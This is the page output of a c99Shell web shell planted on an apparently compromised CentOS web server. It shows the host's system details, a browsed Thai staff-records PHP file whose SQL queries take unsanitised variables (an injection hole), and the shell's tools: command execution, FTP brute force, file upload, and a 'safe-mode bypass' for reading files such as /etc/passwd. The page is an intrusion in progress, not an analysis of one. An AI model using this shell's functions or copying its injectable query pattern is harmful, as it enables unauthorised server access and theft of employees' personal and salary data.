!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Edit_Pos_History.php (7.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority") )
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
ConnectDB();
$sql "Select * From personal_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
$sql2 ="Select * From history_position_tb Where code='$code'";
$result2 mysql_query($sql2) or die(" Error").mysql_error();
$rs mysql_fetch_array($result2);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.style6 {font-size: 14px}
-->
</style>
<table width="809" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="809"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Develop.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Addposition.php?Teacher_code=<? echo $rs[Teacher_code?>">เพิ่มข้อมูลการดำรงตำแหน่ง</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditHistoryList.php?Teacher_code=<? echo $rs[Teacher_code?>">แก้ไขข้อมูลประวัติการดำรงตำแหน่ง</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แก้ไขข้อมูลการดำรงตำแหน่ง</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="EditUpdate.php">
                <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="72%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  <tr bgcolor="#D9ECFF">
                    <td height="25" colspan="3"><div align="center"><font color="#999999" face="Tahoma"><strong><span class="style6"><font color="#CC0000">แก้ไข</font><font color="#000000"> ข้อมูลประวัติการดำรงตำแหน่ง</font></span></strong></font></div></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td width="30%" height="24" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">วัน/เดือน/ปีที่ดำรงตำแหน่ง</font></div></td>
                    <td width="1%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="69%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">วันที่
                      <select name="mDate" id="mDate" class="select" >
                            <?php
           $Date_post 
$rs[Date_post];
           
$yearthai explode("-",$Date_post);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                    </select>
                      เดือน
                      <select name="mMonth" id="select2" class="select" >
                        <?php
          $Date_post 
$rs[Date_post];
           
$yearthai explode("-",$Date_post);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                      </select>
                      ปี พ.ศ.
                      <input name="mYear" type="text" class="style6" id="mYear" value="<? echo $mYear ?>" size="5" maxlength="4" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">เลขที่ตำแหน่ง</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Position_id" type="text" class="style6"  id="Position_id" value="<? echo $rs[Position_id]?>" size="30"></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ตำแหน่ง</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Gover_pos" type="text" class="style6"  id="Gover_pos" value="<? echo $rs[Gover_pos]?>" size="40" />
                        <font size="2" face="Tahoma">ระดับ
                          <input name="Level" type="text" class="style6"  id="Level" value="<? echo $rs[Level]?>" size="1" maxlength="2" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">เงินเดือน</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                      <input name="Salary" type="text" class="style6"  id="Salary" value="<? echo $rs[Salary]?>" size="10" />
                    บาท <font color="#FF0000">(ไม่ต้องใส่เครื่องหมาย , )</font></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">คำสั่ง</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Order_id" type="text" class="style6"  id="Order_id" value="<? echo $rs[Order_id]?>" size="40" /></td>
                  </tr>
                  <tr bgcolor="#D9ECFF">
                    <td colspan="3" bgcolor="#FFFFFF"><div align="center">
                        <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                        <input type="hidden" name="code" value="<? echo $rs[code]?>" />
                        <input type="submit" name="Submit" value="   บันทึก  " class="button" />
                    </div></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0135 ]--